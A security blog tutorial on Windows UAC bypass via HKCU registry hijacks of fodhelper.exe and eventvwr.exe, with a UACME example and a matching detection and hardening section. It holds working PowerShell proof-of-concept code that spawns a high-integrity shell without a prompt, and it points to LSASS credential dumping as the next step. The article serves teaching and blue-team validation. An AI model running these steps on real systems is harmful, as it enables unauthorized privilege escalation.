Disclaimer
This article is written for educational purposes and for authorized security testing only. Apply these techniques exclusively on systems you own or for which you have explicit, written permission to test. Unauthorized access to computer systems is illegal in most jurisdictions. The author and yunolay.com accept no liability for misuse.
Introduction / Overview
User Account Control (UAC) is the Windows feature that prompts you with that familiar "Do you want to allow this app to make changes?" dialog. It is not a security boundary in Microsoft's threat model — Microsoft has stated this repeatedly — but in practice it is a meaningful speed bump that separates a medium-integrity process (a normal admin-group user's session) from a high-integrity, fully privileged process.
In this article you will learn how UAC actually works under the hood, why "auto-elevating" binaries exist, and how techniques like the fodhelper and eventvwr registry hijacks abuse them to spawn an elevated process without a consent prompt. We will walk through a reproducible PoC, look at the reference implementation collection UACME, and — with equal weight — cover detection and defense for the blue team.
This is post-exploitation: you already have code execution as a member of the local Administrators group, but you are sitting at medium integrity. UAC bypass is how you cross to high integrity so you can dump LSASS, install drivers, or write to protected locations. If you have not yet reached admin-group membership, see Windows Token Impersonation and Abusing Service Misconfigurations first.
How It Works / Background
When a user in the Administrators group logs in, the Local Security Authority creates a split token: a filtered medium-integrity token used for normal activity, and a full high-integrity token held in reserve. Elevation (the consent prompt) is what swaps you onto the full token.
To avoid prompting users for routine OS tasks, Microsoft marks certain trusted Microsoft-signed binaries with autoElevate=true in their embedded manifest. When such a binary launches, the Application Information Service (AppInfo) silently elevates it to high integrity without a prompt, provided UAC is not set to "Always Notify." Examples include fodhelper.exe, eventvwr.exe, computerdefaults.exe, sdclt.exe, and slui.exe.
The bypass family abused here works like this: these auto-elevating binaries read configuration from the per-user registry hive (HKCU). Because HKCU is writable by a standard user without elevation, an attacker plants a malicious command there. When the binary auto-elevates and reads the hijacked key, your command runs at high integrity. The registry takes precedence over the system default, and no file on disk is modified.
The classic targets:
fodhelper.exeabusesHKCU\Software\Classes\ms-settings\Shell\Open\command.eventvwr.exeabusesHKCU\Software\Classes\mscfile\shell\open\command(it launchesmmc.exewhich resolves themscfileassociation).
Prerequisites / Lab Setup
- A Windows 10 or 11 VM (do not test on production).
- A local user who is a member of the Administrators group.
- UAC at the default level ("Notify me only when apps try to make changes"). At "Always Notify" most of these break.
- A medium-integrity shell. Confirm your integrity level:
whoami /groups | findstr /i "Label"
# Look for: Mandatory Label\Medium Mandatory Level
Attack Walkthrough / PoC
1. fodhelper.exe registry hijack
fodhelper checks the ms-settings protocol handler. We create the key chain, point it at our payload, and the DelegateExecute empty-value trick forces it to honor the (Default) command instead of falling back.
# Plant the hijack in the per-user hive (no elevation required)
$cmd = "C:\Windows\System32\cmd.exe /c start cmd.exe"
New-Item "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force | Out-Null
New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" `
-Name "DelegateExecute" -Value "" -Force | Out-Null
Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" `
-Name "(default)" -Value $cmd -Force
# Trigger the auto-elevating binary
Start-Process "C:\Windows\System32\fodhelper.exe"
A new cmd.exe should appear at high integrity with no consent prompt. Verify in the new shell:
whoami /groups | findstr /i "High Mandatory Level"
Clean up immediately so you do not leave a persistent hijack behind:
Remove-Item "HKCU:\Software\Classes\ms-settings\" -Recurse -Force
2. eventvwr.exe registry hijack
This is the older, well-known variant (Matt Nelson / enigma0x3, 2016). Patched paths differ, but the mechanics are identical:
$payload = "C:\Windows\System32\cmd.exe"
New-Item "HKCU:\Software\Classes\mscfile\shell\open\command" -Force | Out-Null
Set-ItemProperty -Path "HKCU:\Software\Classes\mscfile\shell\open\command" `
-Name "(default)" -Value $payload -Force
Start-Process "C:\Windows\System32\eventvwr.exe"
Start-Sleep -Seconds 3
Remove-Item "HKCU:\Software\Classes\mscfile" -Recurse -Force
3. UACME
UACME by hfiref0x is the canonical reference implementation: a numbered catalog of 70+ distinct UAC bypass methods, each mapped to a technique. Its Akagi.exe loader runs a method by number:
# Method 33 = fodhelper-based; Method 34 = bypass via mmc; etc.
Akagi.exe 33 C:\Windows\System32\cmd.exe
UACME is invaluable for blue-team validation: run a method, confirm your EDR catches it, repeat. Note that many AV products flag Akagi.exe directly, so it is primarily a research and detection-engineering tool rather than an opsec-safe loader.
Mermaid Diagram
The diagram shows a medium-integrity attacker planting a payload in HKCU, then launching an auto-elevating binary that reads the hijacked key and runs the attacker's command at high integrity without a UAC prompt.
Detection & Defense (Blue Team)
UAC bypasses are noisy if you know where to look. Defenders should treat them as high-fidelity signals.
Registry monitoring (highest value). These techniques must write to specific HKCU subkeys. Alert on creation/modification of:
HKCU\Software\Classes\ms-settings\Shell\Open\commandHKCU\Software\Classes\mscfile\shell\open\commandHKCU\Software\Classes\exefile\shell\open\command- Any
HKCU\Software\Classes\...\commandwrite closely followed by execution of an auto-elevating binary.
Enable Sysmon Event ID 12/13/14 (registry events) and ship them to your SIEM. A Sysmon config snippet:
<RegistryEvent onmatch="include">
<TargetObject condition="contains">\shell\open\command</TargetObject>
<TargetObject condition="contains">\ms-settings\</TargetObject>
</RegistryEvent>
Process-lineage detection. Watch for auto-elevating binaries (fodhelper.exe, eventvwr.exe, computerdefaults.exe, sdclt.exe) spawning unexpected children such as cmd.exe, powershell.exe, rundll32.exe, or regsvr32.exe. A legitimate fodhelper.exe should never spawn a shell. Sysmon Event ID 1 with ParentImage filtering catches this cleanly. This maps to MITRE ATT&CK T1548.002 — Abuse Elevation Control Mechanism: Bypass User Account Control.
Hardening.
- Set UAC to "Always Notify" (
ConsentPromptBehaviorAdmin = 2) via Group Policy. This forces a prompt even for auto-elevating binaries and neutralizes the entire HKCU-hijack family. - Remove standard users from the local Administrators group. UAC bypass is meaningless without admin-group membership — non-admins cannot auto-elevate at all.
- Enable Admin Approval Mode and
EnableLUA = 1. Some environments disable LUA entirely, which removes split-token protection.
# Force Always Notify (machine-wide)
Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" `
-Name "ConsentPromptBehaviorAdmin" -Value 2
EDR/attack-surface reduction. Microsoft Defender ASR rules and most commercial EDRs ship dedicated UAC-bypass detections; keep them in block mode and validate them with UACME methods on a regular cadence. Note that Microsoft fixes individual methods over time (e.g., the original eventvwr and sdclt vectors have been hardened across builds), so attackers rotate to new auto-elevating binaries — behavioral detection on registry writes and process lineage ages far better than signatures on specific binary names.
Conclusion
UAC bypass is not exploitation of a memory-corruption bug; it is logic abuse of a feature Microsoft explicitly does not treat as a security boundary. The HKCU registry-hijack family — fodhelper, eventvwr, and their cousins catalogued in UACME — works because auto-elevating Microsoft binaries trust per-user registry state that an unprivileged process can write. For attackers, it is a reliable medium-to-high integrity step. For defenders, the saving grace is that the technique leaves a narrow, well-known registry footprint and an anomalous process tree. Monitor those two things, set UAC to Always Notify where you can, and prune your local admin groups. For follow-on tradecraft once you hold high integrity, see Dumping Credentials from LSASS.
References
- MITRE ATT&CK — T1548.002 Bypass User Account Control
- UACME — github.com/hfiref0x/UACME
- enigma0x3 — "Bypassing UAC using App Paths" and the original
eventvwr/fodhelperresearch - HackTricks — UAC – User Account Control
- Microsoft Docs — How User Account Control works
Comments